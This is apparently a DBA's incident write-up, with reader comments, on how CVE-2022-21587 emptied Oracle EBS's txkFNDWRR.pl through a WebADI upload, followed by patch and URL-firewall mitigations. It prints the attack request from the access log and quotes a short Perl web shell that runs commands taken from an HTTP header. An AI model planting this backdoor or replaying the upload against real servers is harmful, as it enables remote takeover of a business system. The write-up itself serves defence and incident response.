We have seen this issue very recently in our EBS instance where users were not able to open Log & Out files in browsers in our EBS R12.2 instance. The browser page was showing a blank page. The below process was followed to troubleshoot and fix the issue ASAP.
“FS Diagnostic Test Program” is usually used to Troubleshoot FNDFS and FNDWRR (Problems Viewing Concurrent Request Output. When we ran this diagnostic program, it gave us the below error:
It was also tested that the issue occurred to all our Non-Prod and Prod EBS R12.2 instances which made me very suspicious about this issue.
ANALYSIS AND ROOT CAUSE
We focused on FNDWRR.ex and its affiliated files at the server end to see if any changes.
It was finally located that txkFNDWRR.pl perl file under $EBS_ORACLE_HOME/common/scripts/ was showing up as NULL size file.
NOTE: The perl (txkFNDWRR.pl) file reads node_info.txt and set the environment variables internally. The txkFNDWRR.pl script uses the value of $OA_HTML (at the shell level) to construct the path of FNDWRR.exe .Then execute FNDWRR.exe to display log/out on the browser screen.
The same file was showing up as NULL file in Non-Production instances too. As a quick solution, we copied this file from Patch Edition to Run Edition under $EBS_ORACLE_HOME/common/scripts/ and this resolved this issue for users.
Next, it was time to find the root cause. As the issue happened in all non-production and production instances at the same time, which means it was not done manually by any Apps DBA, so it was very critical to find the root cause ASAP.
We focused on the access log of EBS Apache to verify what all activities happened at the exact time when the txkFNDWRR.pl perl file was updated.
Below is the code snippet from the access log:
<IP ADDRESS> - - [20/Jan/2023:14:47:11 -0500] "POST /OA_HTML/BneViewerXMLService;.js?bne:uueupload=TRUE HTTP/1.1" 200 184 <IP ADDRESS> - - [20/Jan/2023:14:47:11 -0500] "GET /OA_CGI/FNDWRR.exe HTTP/1.1" 200 12
The connection was coming from external isupplier node.
“bne” refers to WebADI in Oracle EBS and the “uueupload=TRUE” option in a command or script specifies that the file is being uploaded or transferred in encoded uuencode format and is a kind of a signal to the server that the file should be decoded using the uuencode format before being stored on the server.
So WebADI functionality was used to transfer/update files on the server and this specific file was only focused on because this file is accessed through Oracle Applications Common Gateway Interface (OA_CGI) functionality. When the user opens any log/out file in the browser below kind of link is generated which uses OA_CGI to fetch files from the server:
https://company.domain.com/OA_CGI/FNDWRR.exe?temp_id=3453167724
And as any experienced Apps DBA knows that Oracle Applications Common Gateway Interface (OA_CGI) functionality in Oracle E-Business Suite (EBS) is a security risk because it allows for the execution of arbitrary code on the system. This can be exploited by an attacker who is able to upload a malicious file to the server, which is then executed as a CGI script. This can potentially allow the attacker to gain unauthorized access to the system, execute arbitrary code, or steal sensitive data.
It’s important to note that in the past Oracle has released several security patches and advisories related to OA_CGI functionality in Oracle EBS.
OA_CGI has many drawbacks. For example, it does not validate file names, file types, and sizes before accepting an upload. OA_CGI can automatically execute files that are uploaded and does not require authentication to upload files.
So, WEBADI was allowing this upload of txkFNDWRR.pl file to the internal server which is a very peculiar behavior. A quick search online referred us to below CVE.
CVE-2022-21587: Vulnerability in the Oracle Web Applications Desktop Integrator
“Vulnerability in the Oracle Web Applications Desktop Integrator product of Oracle E-Business Suite (component: Upload). Supported versions that are affected are 12.2.3-12.2.11. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Web Applications Desktop Integrator. Successful attacks of this vulnerability can result in takeover of Oracle Web Applications Desktop Integrator. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts)”
So basically we were hitting CVE-2022-21587.
PERMANENT FIXES AND MITIGATIONS
As soon as we located that the txkFNDWRR.pl file was targeted using the above WEBADI vulnerability, we locked this file so that only the super user (root) can modify this file and no EBS application is impacted. (Note: we had already verified that there was no other files changed on the server besides this file)
Set the "immutable" attribute # chattr +i txkFNDWRR.pl To remove the immutable attribute # chattr -i txkFNDWRR.pl To see the current attributes # lsattr txkFNDWRR.pl
Please note that this file txkFNDWRR.pl is modified by ADOP/Autoconfig so you can’t keep it locked or else ADOP/Autoconfig will fail.
Next, we had the SEV1 SR also opened with Oracle and Oracle gave below two options:
- Apply Oct-2022 Security patches for EBS R12.2 or apply a small one-off WebADI Patch 34436371.
Note that the small one-off WebADI Patch 34436371 needs below as a pre-requisite:
- 12.2.3
- R12.AD.C.delta.12
- R12.ATG_PF.C.delta.9
- R12.TXK.C.delta.12
2. Disable WebADI Access from the External Application Tiers in your DMZ by Configuring the URL Firewall
This can be done by following “Section 7.5: Configuring the URL Firewall” of the below Doc ID:
Oracle E-Business Suite Release 12.2 Configuration in a DMZ (Doc ID 1375670.1)
Of course, solution 1 is the actual fix and Solution 2 is a kind of workaround to mitigate the issue.
If you are going with the workaround solution#2 because you may not have the right ATG version or need more time/planning to apply the patch then the below high-level steps can prove helpful to you (besides Doc ID 1375670.1):
Mitigation step # 2 Disable WebADI Access from the External Application Tiers in your DMZ by Configuring the URL Firewall
1. Create master url_fw.conf file in both RUN and PATCH Edition
On your iSupplier Node, Create master url_fw.conf file and unblock all the isupplier products you are using. Below WEBADI/BNE access must be blocked from External node.
The following lines in the [ url_fw.conf ] need to be commented out. The hashtag ("#") at the beginning of the line
accomplishes this.
#================================================================
#Include URLs for SSHR (Self Service Human Resources)
#================================================================
#RewriteRule ^/OA_HTML/BneApplicationService$ - [L]
#RewriteRule ^/OA_HTML/BneViewerXMLService$ - [L]
#RewriteRule ^/OA_HTML/BneDownloadService$ - [L]
#RewriteRule ^/OA_HTML/BneUploaderService$ - [L]
#RewriteRule ^/OA_HTML/BneTemplateService$ - [L]
#RewriteRule ^/OA_HTML/BneTemplateRedirectService$ - [L]
2. Create a custom autoconfig template url_fw_conf_FMW.tmp for url_fw.conf
This is needed so that autoconfig/ADOP do not overwrite ti.
Put this template under $FND_TOP/admin/template/custom
You can run $AD_TOP/bin/adchkcfg.sh to verify if template is gettign picked
3. Modify CONTEXT_FILE in iSupplier node (both RUN and PATCH)
REPLACE
<urlfirewall oa_var="s_enable_urlfirewall">#</urlfirewall>
BY
<urlfirewall oa_var="s_enable_urlfirewall"/>
4. Stop the Application, Run Autconfig on External and Internal Nodes, and Start Application
FYI, on reading more about CVE-2022-21587 It was understood that the malicious intent was to upload a new txkFNDWRR.pl file with the below kind of sample code (taken from another online blog) and not to make it NULL:
use CGI;
print CGI::header( -type => ‘text/plain’ );
my $xheadyr = CGI::http(‘HTTP_ORACMDID’);
print system($xheadyr);
exit 0;
And below is what ChatGPT says about the above malicious code piece:
- Oracle Database Service for Azure (ODSA) 3 – Database Services - May 1, 2023
- Oracle Database Service for Azure (ODSA) 2 – Interconnect Details - April 30, 2023
- Oracle Database Service for Azure (ODSA) 1 – Fundamentals - April 29, 2023
Nicely explained. Thank you for sharing your experience.
Very nice write up! However, the immutable option didn’t work for us since we are on ntfs mount.
Brijesh, did you have any luck determining how the txkFNDWRR.pl file was initially modified in the Run filesystem? We see multiple reports of people running into this issue in the last week and are interested if others were able to determine if this was the effect of a known bug or alternatively a poorly crafted vulnerability scan or inside threat actor.
Yes, as I mentioned above, the txkFNDWRR.pl file was compromised through a WEBADI vulnerability from an external system (ISupplier). It should not be an inside threat actor. The external actor was identified and recorded based on the external IP address used (although that doesn’t help much). The file was targeted because it can run commands on the server through the OA_CGI module using HTTP. To ensure security, it is recommended to apply the Oracle-provided patch.
Brijesh – Thanks for sharing your experience with Oracle Community. Nicely articulated!
Thanks Brijesh for the explanation is it mandatory to run autoconfig both on external and internal nodes or external will suffice
Appreciate your response
yes, it is mandatory to run auto-config on both external and internal nodes or else many essential profile options will point to external node causing a lot of issues.
Brijesh, can we from this id “FNDWRR.exe?temp_id=3453167724” identify what is the file was accessed by the attacker?